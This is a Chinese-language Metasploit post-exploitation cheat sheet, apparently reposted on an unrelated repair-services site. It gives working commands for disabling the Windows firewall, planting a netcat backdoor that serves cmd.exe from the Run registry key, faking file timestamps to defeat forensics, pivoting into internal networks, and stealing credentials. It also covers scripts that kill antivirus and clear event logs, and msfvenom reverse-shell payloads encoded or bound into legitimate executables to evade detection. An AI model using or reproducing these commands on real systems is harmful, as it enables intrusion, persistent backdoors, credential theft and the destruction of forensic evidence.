来关闭防火墙 netsh adcfirewall set allprofiles state off 我们打开防火墙配置查看防火墙已成功被我们关闭! 但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。 netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL 伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可! 24.利用注册表添加 NC 后门 1.上传 NC 到目标系统: upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 2.枚举注册表内容(开机启动) reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 3.在该注册表增加内容(开机启动) reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe” 4.查看内容是否增加成功: reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 25.基于MACE时间的反电子取证 timestomp -v secist.txt #查看当前目标文件 MACE 时间。 timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查) timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件) timestomp -v secist.txt 26.内网代理 meterpreter > run autoroute -s 192.168.1.0/24 msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 msf auxiliary(tcp) > exploit meterpreter > background msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > route print msf auxiliary(socks4a) > ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子' msf auxiliary(socks4a) > exploit 27.SSH代理 msf > load meta_ssh msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER test USER => test msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to [email protected]:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1 之后就是愉快的内网扫描了 当然还是推荐直接用 ssh -f -N -D 127.0.0.1:6666 [email protected] 28.内网扫描 meterpreter > run autoroute -s 192.168.3.98 meterpreter > background [*] Backgrounding session 2... msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 PORTS => 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 RHOSTS => 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 THERADS => 10 msf auxiliary(tcp) > exploit 我还是推荐开代理用Nmap扫描>.meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用 我看网上没有详细介绍常见脚本功能的文章,就总结了一下 我们可以通过run 脚本名来进行使用 run 脚本名 -h可以查看帮助 1.arp_scanner 利用arp进行存活主机扫描 run arp_scanner-r 192.168.1.0/24 2.autoroute 可以添加,删除,显示路由表 3.checkvm 可以检测目标是否是虚拟机 4.credcollect 收集目标主机上的hash等凭证 5.domain_list_gen 获取域管理账户列表,并判断当前session所在用户是否在列表中 6.dumplinks Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件 调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息 命令:run post/windows/gather/dumplinks 效果如下图: 7.duplicate 再次产生payload,注入到其他进程或打开新进程并注入其中 8.enum_chrome 获取chrome中的信息 9.enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等 10.enum_logged_on_users 列出当前登录的用户 11.enum_powershell_env 列出powershell和WSH的配置文件 12.enum_putty 列出putty的配置文件 13.enum_shares 列出共享及历史共享 14.enum_vmware 列出vmware的配置文件和产品 15.event_manager 可以查询和清理事件日志 16.file_collector 搜索符合指定模式的文件 17.get_application_list 获取安装的程序列表及版本 18.getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略 Ps:-k参数可以杀掉防护软件进程 19.get_env 获取所有用户的环境变量 20.get_filezilla_creds 获取filezilla的登陆凭证 21.getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能 22.get_local_subnets 获得本地的子网 23.get_pidgin_creds 获取pidgin配置文件中的用户名和密码 24.gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的 25.get_valid_community 获取SNMP community字符串 26.getvncpw 获取vnc密码 27.hashdump 同meterpreter的内置功能 28.hostsedit 操作hosts文件 29.keylogrecorder Meterpreter内置此功能 30.killav 关闭防护软件 31.metsvc 将payload安装为服务 32. migrate 将meterpreter会话移植到另一个进程 例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法 可以先用ps命令看一下目标主机的explorer.exe进程的pid
33 .persistence 可见建立一个持久性的后门,设置成开机启动 34. service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload 35.vnc 可以看到远程桌面 36. win32-sshserver 安装openssh服务 37. winenum 会自动运行多种命令,将命令结果保存到本地 metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听 1.msfvenom命令行选项 在kali的命令行中输入msfvenom -h就会显示其用法: Options: -p, --payload 指定需要使用的payload(攻击荷载) -l, --list[module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all -n, --nopsled 为payload预先指定一个NOP滑动长度 -f, --format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder[encoder] 指定需要使用的encoder(编码器) -a, --arch 指定payload的目标架构 --platform 指定payload的目标平台 -s, --space 设定有效攻击荷载的最大长度 -b, --bad-chars 设定规避字符集,比如: '\x00\xff' -i, --iterations 指定payload的编码次数 -c, --add-code 指定一个附加的win32 shellcode文件 -x, --template 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out 保存payload -v, --var-name 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
2.生成payload 格式说明 (1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀) #格式 msfvenom -p -f -o #实例 msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c (2)经过编码器处理后生成payload #格式 msfvenom -p -e -i -n -f -o #实例 msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe (3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe -p [指定攻击载荷名称] 生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如: cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw #暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe -f [指定payload的输出格式] 按需要的格式进行输出:十六进制hex编码形式 \x0a,如果用python写exploit,用-f python得到python代码。如果用python写exploit,用-f c得到c代码。生成一个exe格式的payload,如:msfvenom -p windows/meterpreter/bind_tcp -f exe msf支持的输出格式 msfvenom --help-formats Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript 3.options usage 查看支持的payload列表: msfvenom -l payloads
Framework Payloads (486 total) ==============================
NameDescription --------------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell ...
查看支持的输出文件类型: msfvenom --help-formats 查看支持的编码方式:(为了达到免杀的效果) msfvenom -l encoders 查看支持的空字段模块:(为了达到免杀的效果) msfvenom -l nops 4.常用的payload 1.命令格式: msfvenom -p -f -o Binaries: 2.Linux: 反向连接 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf 正向连接 msfvenom -p linux/x86/meterpreter/bind_tcp LHOST= LPORT= -f elf > shell.elf
3.Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
4.Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho Web Payloads: 5.PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |